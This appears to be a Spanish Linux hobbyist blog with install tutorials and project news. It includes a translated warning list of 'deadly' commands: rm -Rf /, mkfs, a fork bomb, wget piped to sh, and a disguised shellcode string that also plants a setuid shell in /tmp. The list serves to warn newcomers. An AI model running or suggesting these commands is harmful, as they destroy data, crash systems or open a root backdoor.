Apr252009

“EL REGRESO” xD

Hola gente, ¿Cómo va? Ja, hace años que no posteo  :p pido disculpas pero he estado ocupado en distintos proyectos y planeando y organizando nuevo, aprendiendo nuevas cosas, etc.. Es más son las 7.11 am. del sábado y aun ni siquiera me he acostado aun, es más pido disculpa por los errores y la redacción pero a esta hora lo que hay :p.

Bueno voy  a contar un poco, uno de los nuevos proyectos que encare es IRCAdictos, un server IRC, montado con unrealircd, la idea surgió ya que uno de mis amigos y clientes  de shells, dueño de la red IRChile.com, me comento que buscaba hacer una red global, no solo orientada a chile, sino también al resto de países, y bueno ahí decidí apoyar el proyecto, aportando mi nodo en el server, irc.ircadictos.com.

También estoy aprendiendo java en netbeans, decidí crearme un sistemita para poder administrar clientes (altas/bajas/modificaciones), ventas, y productos ofrecidos (una forma de organizar los planes un poco, y de paso poder consultar los precios más fáciles).

Es mas ayer cuando fui a la facultad a preguntar sobre unos temas de java a Juan, el coordinador de la carrera Sistemas de la UTN FRVM, me comento que había pasantías de PROGRAMACION EN PARALELO, y ahí se relaciona con el tema de clústeres así que también me anote. Es más comenzare a documentar esos temas acá en el blog.
Para los que no saben que es un cluster:

El término cluster se aplica a los conjuntos o conglomerados de computadoras construidos mediante la utilización de componentes de hardware comunes y que se comportan como si fuesen una única computadora. Hoy en día juegan un papel importante en la solución de problemas de las ciencias, las ingenierías y del comercio moderno.
La tecnología de clusters ha evolucionado en apoyo de actividades que van desde aplicaciones de supercómputo y software de misiones críticas, servidores Web y comercio electrónico, hasta bases de datos de alto rendimiento, entre otros usos.
El cómputo con clusters surge como resultado de la convergencia de varias tendencias actuales que incluyen la disponibilidad de microprocesadores económicos de alto rendimiento y redes de alta velocidad, el desarrollo de herramientas de software para cómputo distribuido de alto rendimiento, así como la creciente necesidad de potencia computacional para aplicaciones que la requieran.
Simplemente, cluster es un grupo de múltiples ordenadores unidos mediante una red de alta velocidad, de tal forma que el conjunto es visto como un único ordenador, más potente que los comunes de escritorio.
Clusters son usualmente empleados para mejorar el rendimiento y/o la disponibilidad por encima de la que es provista por un solo computador típicamente siendo más económico que computadores individuales de rapidez y disponibilidad comparables.
De un cluster se espera que presente combinaciones de los siguientes servicios:
1. Alto rendimiento   2. Alta disponibilidad
3. Equilibrio de carga    4. Escalabilidad
La construcción de los ordenadores del cluster es más fácil y económica debido a su flexibilidad: pueden tener todos la misma configuración de hardware y sistema operativo (cluster homogéneo), diferente rendimiento pero con arquitecturas y sistemas operativos similares (cluster semi-homogéneo), o tener diferente hardware y sistema operativo (cluster heterogéneo), lo que hace más fácil y económica su construcción.
Para que un cluster funcione como tal, no basta solo con conectar entre sí los ordenadores, sino que es necesario proveer un sistema de manejo del cluster, el cual se encargue de interactuar con el usuario y los procesos que corren en él para optimizar el funcionamiento.
Extraido de wiki http://es.wikipedia.org/wiki/Cluster_de_computadores

Bueno también comenzare a colaborar con la distribución mexicana IKIM GNU/LINUX, ayudare con el tema del sitio web, esta noche he estado renegando un largo rato con plone y zope, es mas logre instalarlo pero aun no ha quedado como quiero, asi que cuando lo logre también subiré un tutorial al blog de cómo instalarlo

Bueno ya es tarde y tengo que terminar esta web http://www.cas-consultoria.com/ si quieren dejen comentarios de que les pareció.

Bueno esto es todo por hoy, perdonen por el abandono prometo tenerlo más actualizado al blog.

Saludos dag

Mar162009

7 comandos mortales en Linux

img30

Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

Feb222009

COMO HACER UNA INSTALACION BASICA DE GNOME/KDE+DRIVER NVIDIA

Hola, Como andan? Tanto tiempo nuevamente, aquí dejo un tutorial a pedido de Azk, sobre cómo hacer una instalación mínima de gnome/kde, y  ya que estoy anexare también como instalar drivers de una placa de video NVIDIA.
Antes que nada, debemos ejecutar los siguientes comandos los cuales actualizaran, instalamos build-essential, y por ultimo las cabezera de tu kernel:

yoha:/home/daniel# apt-get update
yoha:/home/daniel# apt-get install build-essential
yoha:/home/daniel# apt-get install linux-headers-`uname -r`

Una vez que hicimos esto procedemos a instalar el servidor X, como root instalamos el paquete xorg y xserver-xorg:

yoha:/home/daniel# apt-get install x-window-system-core

Ahora instalamos los componentes te freedesktop.org , para ello:

yoha:/home/daniel# apt -get install hal dbus shared-mime-info desktop-file-utils

Por último instalamos gnome o kde de la siguiente manera:

Para gnome:
yoha:/home/daniel# apt-get install gdm gnome-core
Para kde:
yoha:/home/daniel# apt-get install kdm kde-core

Ya podemos disfrutar de nuestro entorno preferido ejecutando

Para gnome:
yoha:/home/daniel# /etc/init.d/gdm start
Para kde:
yoha:/home/daniel# /etc/init.d/kdm start

Bueno ahora instalaremos los drivers de nvidia en mi caso es una tarjeta: “NVIDIA GeForce Go 6150”

Para ello descargamos el driver de la página de nvida, en mi caso es este: http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

daniel@yoha:~$ wget http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

Una vez descargado, lo ejecutamos como root:

yoha:/home/daniel# sh NVIDIA-Linux-x86-180.29-pkg1.run

Y seguimos los pasos del asistente.

Nota: Recuerda que para instalar los drivers, debes antes ejecutar como root: “/etc/init.d/kdm stop” o en caso de gnome: “/etc/init.d/gdm stop”.

A mí me anduvo de una, pero si queres personalizar la configuración de las x podes utilizar el comando “dpkg-reconfigure xserver-xorg” (recuerda que las x deben estar cerradas).
Cualquier duda consúltenlo en el foro o por comentario.
Saludos
Pd: Quiero agradecerle a miguex, ya que me dio un par de tips para que el tutorial quedara mas optimo.

Jan182009

Administrando el ancho de banda con Trickle

Trickle se encarga de limitar el uso de ancho de banda de “subida” y “bajada” de una aplicación que le especifiquemos.

Instalacion por apt. “sudo apt-get install trickle”

probando:

Ejemplo 1:

trickle -u 5 -d 12 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 5 Kbps de “subida” y 12 Kbps de “bajada”, la ventaja es que trickle puede ser invocado tanto por usuarios como por root.

Ejemplo 2:

trickle -d 50 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 50 Kbps de “bajada”,

Mas Información: Trickle http://monkey.org/~marius/pages/?page=trickle

Fuente

Dec272008

Ikim Linux Distribucion Mexicana Liberada

Nos honra dar la noticia de que el dia de ayer 24 de diciembre fue liberada la primera version de ikim linux. Ikim Linux es una distribucion Mexicana esta creada desde cero y tiene mas de un año de desarrollo. Parte del staff de Debian Mexico colaboro con el desarrollo de este sistema operativo y actualmente quien dirige el todo el proyecto y desarrollo es nuestro compañero y amigo Miguel Angel o mejor conocido como Miguex en Debian Mexico, uno de nuestros adminisradores con sin duda un alto potencial en cuestiones de sistemas unix.

Ikim nace como una iniciativa para desarrollar un sistema operativo del tipo GNU/Linux enfocado principalmente a funcionar en equipos de bajos recursos fomentando asi la reutilizacion de hadware en desuso.

Ikim Linux es un gran y novedoso sistema que hay que probar debido a su calidad de paquetes y su buen desarrollo Debian Mexico fomenta el uso de este flamante sistema.

Invitamos a toda nuestra comunidad y lectores para que prueben este sistema operativo y nos den sus opiones y puntos de vista que es lo mas importante.

Sitio: http://www.ikimlinux.net/

Fuente

Dec252008

¡FELICES FIESTAS!

EN ESTAS FIESTAS LES DESEO

untitled

Dec222008

how to: install Amarok 2 Debian GNU/Linux

Amarok un bonito reproductor  de kde. Primero necesitas tener tus repos de  DebianExperimental, /etc/apt/sources.list

deb ftp://ftp.debian.org/debian experimental main

Ya sea por repo o por AptPinning, después de esto ya podemos instalar el Amarok 2 stable release, Packages are known to work only on i386 and amd64 at the moment.

eva:/home/bucio# apt-get update
eva:/home/bucio# aptitude -t experimental install amarok

Después de esto configuramos al gusto nuestro amarok2..

pantallazo-35

Fuente

Dec142008

sMovieDB: gestiona tu colección de películas en KDE

Acá les dejo información del programa creado por mi amigo victor :D

sMovieDB es una aplicación para gestionar tu colección de películas y poder consultarla fácilmente. Funciona sobre GNU/Linux y está integrada en el escritorio KDE. Se trata de un gran almacén de títulos y datos de películas que permite mantener una colección bien ordenada y poder consultarla de una forma rápida y sencilla.

Todos los usuarios que van almacenando gigas y gigas de videos en sus discos duros han pensado en alguna ocasión que quizá sería interesante mantener un índice de la colección completa para facilitar la tarea de consultar títulos o datos sobre una película. sMovieDB permite añadir nuevos títulos junto con sus géneros, tipos, formatos, valoración y comentarios. Por supuesto, todos esos campos pueden usarse después para buscar películas en la colección eficientemente.

Su creador es Víctor J. Chamorro y actualmente está todavía en fase beta, aunque el ritmo de desarrollo es muy alto y Víctor promete seguir mejorándolo y añadiendo nuevas funcionalidades, como la ordenación dinámica de las columnas, soporte para añadir carteles o carátulas a las películas, traducción a varios idiomas…

Sitio del proyecto

Fuente del articulo

Dec72008

Skype en Debian Lenny

skype es un software para realizar llamadas sobre Internet (VoIP), fundada en 2003 por los suecos Niklas Zennström y Janus Friis, creadores de Kazaa. El código y protocolo de Skype permanecen cerrados y propietarios, pero los usuarios interesados pueden descargar gratuitamente la aplicación del sitio oficial. Los usuarios de Skype pueden hablar entre ellos gratuitamente.

Instalando Skype en Debian

Antes que nada hay que checar los siguientes requerimientos

  • Hardware requirements
  • 1 Ghz processor or faster
  • 256 MB RAM.
  • 20 MB free disk space on your hard drive.
  • Microphone and speakers or headset.
  • Internet connection (broadband is best, GPRS is not supported for voice calls, and results may vary on a satellite connection). .
  • Video card driver with Xv support.
  • Software requirements
  • Qt 4.2.1+
  • D-Bus 1.0.0
  • libasound2 1.0.12

Ahora Descargamos el paquete .deb del sitio oficial

Abrimos una terminal y nos logeamos como root

gndx@Firax:~$ su
Contraseña:
Firax:/home/gndx# dpkg -i skype-debian_2.0.0.72-1_i386.deb

Esperamos a que termine la instalación y lo ejecutamos desde Internet >> Skype

Ahora si A hacer video llamadas… =D

Fuente

Nov212008

¿Qué son los Hackers?

Fuente